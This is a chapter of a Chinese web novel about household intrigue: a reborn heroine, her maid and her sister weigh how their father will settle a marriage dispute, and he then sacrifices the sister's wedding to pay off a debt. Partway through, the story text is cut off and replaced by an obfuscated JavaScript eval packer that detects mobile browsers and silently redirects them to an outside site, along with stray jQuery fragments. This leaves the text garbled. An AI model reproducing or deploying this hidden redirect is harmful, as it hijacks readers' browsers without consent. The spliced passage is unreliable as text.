匡毕珍今日不在现场,但却也有所听闻,此刻也担忧地看着林雾。
匡轸玉向着林雾点了点头,示意她继续说。
“和我一同进府的沫儿与我交情甚好,如今正在服侍老爷。我托她多多留意此事,她前不久便传话来说老爷那边似乎已有了决断。”
林雾便是这样,凡事不声不响,谋定而后动。
今日曹悬刃来闹这一番,所有人都以为他是来发难,但林雾时刻低着头,却观察到了曹悬刃暗送的秋波。
当匡轸玉趁着夜色无人裹上斗篷时,林雾也是这样静静地站着,向着匡轸玉微笑。
一切尽在不言中,她见她深更半夜出门也不会觉得奇怪,也不会有任何阻拦。
而匡轸玉亦信任她,因此即使被她发现了,匡轸玉也不会觉得有任何的担忧。
“究竟如何了,你快说呀!”匡毕珍见林雾迟迟没有继续,连忙催促道。
“尚不知。沫儿只说老爷独自思忖了良久,还去大公子床榻前呆坐了好久,而后似是终于做了决断,熄了灯入睡了。”
姊妹二人同时松了一口气,可又同时吊起了一口气。
今日的月光是安稳了,但明早的朝阳是否会有所不同,谁也不知晓。
“二姑娘,还有一夜,会有应对之策的。”林雾的声音里依旧听不出波澜,却让匡轸玉莫名安心了下来。
其实她怕的根本不是匡应衡抛弃她,她只是怕如今的她若失去了匡家的庇佑便再无容身之所。
“父亲还不一定怎么选,惠儿也无需太过担忧。”阿姊也安慰道。
但姊妹二人都明白,以匡应衡的秉性,女儿是万万比不上能传宗接代的儿子的。
“那丞相嫡子也真是,怎么好端端地发起浑来?他难道不知惠儿早已与太尉府定下了娃娃亲?”
匡毕珍状似无意的一番抱怨倒是突然提醒了匡轸玉。
以她一人,是断然比不上兄长的,但她毕竟有婚约在身。
唯有与太尉府的姻亲是能和丞相府的权贵相比的,就看匡应衡会如何选了。
“阿姊说得对,我与那太尉府早有婚约,父亲指不定怎么选。”匡轸玉话毕,在场二人便都明白了过来。
“阿姊,不必太过担忧惠儿,要出嫁的新娘子就该笑靥如花。”匡轸玉脸上绽开了笑容,落在匡毕珍的眼中浑似含苞开放的花朵。
于是匡毕珍也回了一个灿烂的微笑,近身拥抱住了匡轸玉:“惠儿,阿姊会一直陪着你。”
其实二人都明白,这只是皎洁月色下的一个谎言。
婚后,阿姊定会缠身于各项琐事,回娘家的次数也屈指可数,又如何陪伴匡轸玉呢?
匡轸玉要走的路,注定孑孓独行,陪伴亦是奢望。
但她没有拆穿,只是回抱住了阿姊,鼻尖磨蹭在阿姊肩头的布料上,闻见了一阵淡淡的芳香。
——
夜色如墨,林雾点起了屋内的一柄蜡烛。微弱的光芒却足够看清人的真心。
“林雾。”匡轸玉不想再叫她雾儿,她应该有自己的名字的,
林雾怔愣了片刻,却什么也没问,反倒是自顾自说道:“奇怪,见到姑娘的第一眼,我便觉得很熟悉。姑娘的眼中藏着很多东西,但我却能看个分明。”
她也没用“奴婢”来自称。
二人总是保持着一种难得的默契。
“今夜你可以陪我睡吗?”匡轸玉隔着烛火问道。
林雾嘴角微扬,径直走到了床前。
“惠儿,我可以这么叫吗?”她看着躺下的匡轸玉问道。
匡轸玉闭着眼点了点头。
“惠儿,你认为太尉府和丞相府哪个是托身之所?”
林雾转过头,双眸凝视着匡轸玉。
“我认为的不太重要,但父亲大概不会选丞相府。”
“毕竟丞相嫡子和那年少成名的顾将军比起来,倒是逊色多了。我爹会更看重长远,丞相就这么一个儿子,即使再富贵满身,终究是延续不了多久的。”匡轸玉站在父亲的角度思忖,权衡利弊来看,丞相府确实不是一个好选择。
“常人定是那么想的,可我觉得你却不会这样想。”林雾肯定道。
“若凡事全然按照理智,所做决定必然会失去意义。所以,你的想法当然重要。”林雾转身熄灭了烛火,可匡轸玉却能在一片漆黑中感受到她赤诚的眼神。
“此前我倒是也对这丞相嫡子有所听闻,都说他行事荒唐、横行霸道、无法无天。可我今日见到他,便觉得一切不过是传言了。”
“行事荒唐是真,但隐藏在荒唐之中的真心也是真。”
“反倒是那顾小将军,往后定然功勋满身、青云直上不假,可我从前读他写的兵书,杀伐味太重,没什么人情味,于女子而言,倒不一定是个好归宿。”
匡轸玉早已睁开双眼,林雾高谈阔论的样子,时隔多年,她又一次见到了。
她重活一世,有些事方才看清,可林雾仅凭察言观色、读书识人便能将本质点出,将事实猜出了个七七八八。
“从前我听父亲说起过,丞相与太尉素来不对付,甚至近日开始接触起皇子来,圣上亦对他们拉帮结派心知肚明,却始终无计可施。”林雾的语气中有些落寞。
“于是,他便以身为饵,亲自做那打破僵局的一颗废子?”匡轸玉顿时寒毛竖立。
“以一腔赤诚去换端坐龙椅之人的垂眸,抛下全家儿女去赌一个海晏河清的可能,我觉得他太过愚蠢。”林雾的语气冷漠得似是在说街头巷尾的家长里短。
“他大概也没想到,帝王家最是不讲情面。与他们而言,没有真情,只有利用。只有他可笑地做着天下大同的美梦,在权利面前,他太过理想化。”
“水至清则无鱼。”林雾叹了一口气,短短几个字却杂糅了许多情绪,“都是后话了,我也是才明白过来。”
匡轸玉这才真真实实地感受到她离那漩涡的中心有多近,一招不慎,满盘皆输。
要想挣脱束缚,必得先舍下这一身依仗。可若是没了庇护,她便得能护得住自己。
二人凝望着周遭的一片漆黑,各自陷入了沉思。
一夜无梦。
翌日清晨,匡轸玉率先苏醒,她盯着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417565|168871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林雾紧蹙的双眉,那里本来盛着凌霜傲骨,此刻却满是波折。
“二姑娘,老爷有请。”门口的小婢女冒失地闯了进来禀告,却见到了床榻之上还卧着一人,一时之间手足无措。
匡轸玉竖起手指放在嘴边,示意她不要出声,而后又冲着她嫣然一笑。
轻手轻脚起身,将床帘一拉,匡轸玉便赶往书房去了。
“惠儿。”匡应衡此刻用手撑着额头,满是疲惫,“你应当知晓你兄长当前的状况。”
“他不适宜再受刺激了。”
纵然预料到了这样的情形,匡轸玉心中却仍旧有些悲伤,她早已失去了歇斯底里的勇气,于是便静静地杵在原地,听着匡应衡给自己写好的结局。
“但为父亦不愿卖女求荣。我们惠儿将来是要嫁给大将军的,怎能与这纨绔纠缠不清。”匡应衡话锋一转,听起来倒是父慈子孝。
说得好听,其实就是舍不得她和太尉府定好的婚约。
“那父亲待如何。”她的父亲倒是一个也不想选,一点亏都不想吃。
“你兄长欠了万两白银?”匡应衡瞳孔微缩,显然在筹谋着什么。
“是。”匡轸玉简明扼要地答。
“那便还给他两万两,再修书一封送到丞相府去,若再咄咄逼人,便只能请太尉了。”匡应衡似乎已将太尉府当作了靠山。
“可两万两白银,三天内又如何凑得齐?”匡轸玉反问道。
“你阿姊的婚事需得提前了。”匡应衡话中的意思不难理解。
这是要让陈家堵上这大窟窿,用阿姊的婚事换来匡府的安宁,于匡家而言,几乎没什么损失。
可是,这样一来,阿姊的婚姻就变成了一场交易。曹悬刃自以为是的筹谋,却让阿姊成了牺牲品。
“不行!”匡轸玉绝不允许。
匡应衡此刻分外严肃,对匡轸玉这样激烈的反应很是不满:“惠儿,你若是能安分一些,凡事三思而行,便不会惹出这样的祸端,更不会牵连到阿姊!”
呵,又全成了她的错。她连匡府的大门都不曾迈出,她怒怼陈家无礼的时候他分明也默许,分明是匡之栋惹出的祸端却要她与阿姊来承担。都说男子是家中的顶梁柱,那怎么家里出事的时候却要女子来顶罪。
前世她大概还会被这样的话洗脑,到死前她才明白,他们只是想要一个替罪羊,一个抛弃了也无关紧要的替罪羊,好自欺欺人地维护着那点可怜的自尊。
“既如此,便该十里红妆,风风光光送阿姊出嫁。”匡轸玉不想再浪费口舌与他争辩。
“本来早已准备好,若不是你,你阿姊也不用受这等委屈。”这意思就是不打算给阿姊准备嫁妆了。
“知道了。”匡轸玉听不下去了,行了个礼打断了匡应衡的说教,转身就走。
他们不肯给嫁妆,她便自己给阿姊挣一份出来。
门外艳阳高照,阿姊想必仍旧坐在庭前期待着进入新生活,却不知自己的幸福早已被明码标价。
匡轸玉捋了捋思绪,暗中做了一个决定。
既然此事源于曹悬刃,自然也该找他解决。